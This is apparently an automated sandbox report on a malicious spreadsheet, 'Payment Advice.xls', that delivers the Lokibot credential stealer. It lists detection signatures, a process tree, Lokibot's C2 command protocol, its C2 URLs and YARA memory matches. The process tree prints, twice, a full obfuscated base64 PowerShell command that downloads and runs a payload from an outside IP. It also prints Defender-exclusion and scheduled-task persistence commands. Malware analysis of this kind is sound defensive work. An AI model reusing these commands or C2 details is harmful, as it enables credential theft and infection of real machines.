Edit tour

Windows Analysis Report
Payment Advice.xls

Overview

General Information

Sample name:	Payment Advice.xls
Analysis ID:	1559095
MD5:	5a69ac58c3133e24a783cf4ea670a243
SHA1:	7fdf7feed6f105ce6bfeb34fb44c9c58dfe9057e
SHA256:	f942a3046520f7838e33a1116faf8b9a6615756f044551651207f53b755a024d
Tags:	xlsuser-abuse_ch
Infos:

Detection

HTMLPhisher, Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected HtmlPhish44

Yara detected Lokibot

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Machine Learning detection for sample

Microsoft Office drops suspicious files

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Tries to steal Mail credentials (via file registry)

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected aPLib compressed binary

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Compiles C# or VB.Net code

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches the installation path of Mozilla Firefox

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Excel Network Connections

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 3192 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

mshta.exe (PID: 3492 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 3580 cmdline: "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 3680 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3792 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 3800 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37A5.tmp" "c:\Users\user\AppData\Local\Temp\i4ik0bio\CSCA15BDDDB4364D65A645793B6780D1C5.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

caspol.exe (PID: 3888 cmdline: "C:\Users\user\AppData\Roaming\caspol.exe" MD5: 74061922F1E78C237A66D12A15A18181)

powershell.exe (PID: 3948 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 3980 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

schtasks.exe (PID: 4056 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp" MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

caspol.exe (PID: 2596 cmdline: "C:\Users\user\AppData\Roaming\caspol.exe" MD5: 74061922F1E78C237A66D12A15A18181)

AcroRd32.exe (PID: 2780 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding MD5: 2F8D93826B8CBF9290BC57535C7A6817)

mshta.exe (PID: 3424 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 3860 cmdline: "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 1688 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 4092 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 3016 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB0AA.tmp" "c:\Users\user\AppData\Local\Temp\zpwvvpvf\CSC31AA5FCDA54445E088EDA110AE3BEBC4.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

caspol.exe (PID: 4076 cmdline: "C:\Users\user\AppData\Roaming\caspol.exe" MD5: 74061922F1E78C237A66D12A15A18181)

powershell.exe (PID: 2456 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 2524 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

schtasks.exe (PID: 4028 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmp1F44.tmp" MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

caspol.exe (PID: 3600 cmdline: "C:\Users\user\AppData\Roaming\caspol.exe" MD5: 74061922F1E78C237A66D12A15A18181)

taskeng.exe (PID: 1976 cmdline: taskeng.exe {819EB824-4817-4048-BBF5-A7A0A0C35676} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5: 65EA57712340C09B1B0C427B4848AE05)

rrwscqkDSNwLK.exe (PID: 1644 cmdline: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe MD5: 74061922F1E78C237A66D12A15A18181)

powershell.exe (PID: 956 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 1944 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

schtasks.exe (PID: 3232 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpDCB9.tmp" MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

rrwscqkDSNwLK.exe (PID: 3576 cmdline: "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe" MD5: 74061922F1E78C237A66D12A15A18181)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loki Password Stealer (PWS), LokiBot	"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2	SWEED The Gorgon Group Cobalt	http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html http://reversing.fun/posts/2021/06/08/lokibot.html http://reversing.fun/reversing/2021/06/08/lokibot.html http://www.malware-traffic-analysis.net/2017/06/12/index.html https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file	https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "94.156.177.41/simple/five/fre.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\greetingwithgreatthignsgivenbackwithentireprocessgivenmeback[1].hta	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000012.00000002.637368812.0000000000874000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x72aa8:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x5fe5b:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x6e69f:$des3: 68 03 66 00 00 0x72aa8:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x72b74:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x17d8c:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x513f:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13983:$des3: 68 03 66 00 00 0x17d8c:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x17e58:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x18020:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53eb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13c2f:$des3: 68 03 66 00 00 0x18020:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x180ec:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x18040:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x540b:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13c4f:$des3: 68 03 66 00 00 0x18040:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1810c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x1084dc:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0xf588f:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x1040d3:$des3: 68 03 66 00 00 0x1084dc:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1085a8:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: caspol.exe PID: 3888	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: caspol.exe PID: 3888	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: caspol.exe PID: 3888	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x36902:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk 0x3d58a:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk 0x67fe8:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Process Memory Space: caspol.exe PID: 2596	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
Process Memory Space: rrwscqkDSNwLK.exe PID: 1644	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: rrwscqkDSNwLK.exe PID: 1644	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: rrwscqkDSNwLK.exe PID: 1644	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x44367:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Process Memory Space: rrwscqkDSNwLK.exe PID: 3576	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: rrwscqkDSNwLK.exe PID: 3576	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: rrwscqkDSNwLK.exe PID: 3576	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x2c14:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Process Memory Space: caspol.exe PID: 4076	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: caspol.exe PID: 4076	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: caspol.exe PID: 4076	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x20f68:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Click to see the 47 entries

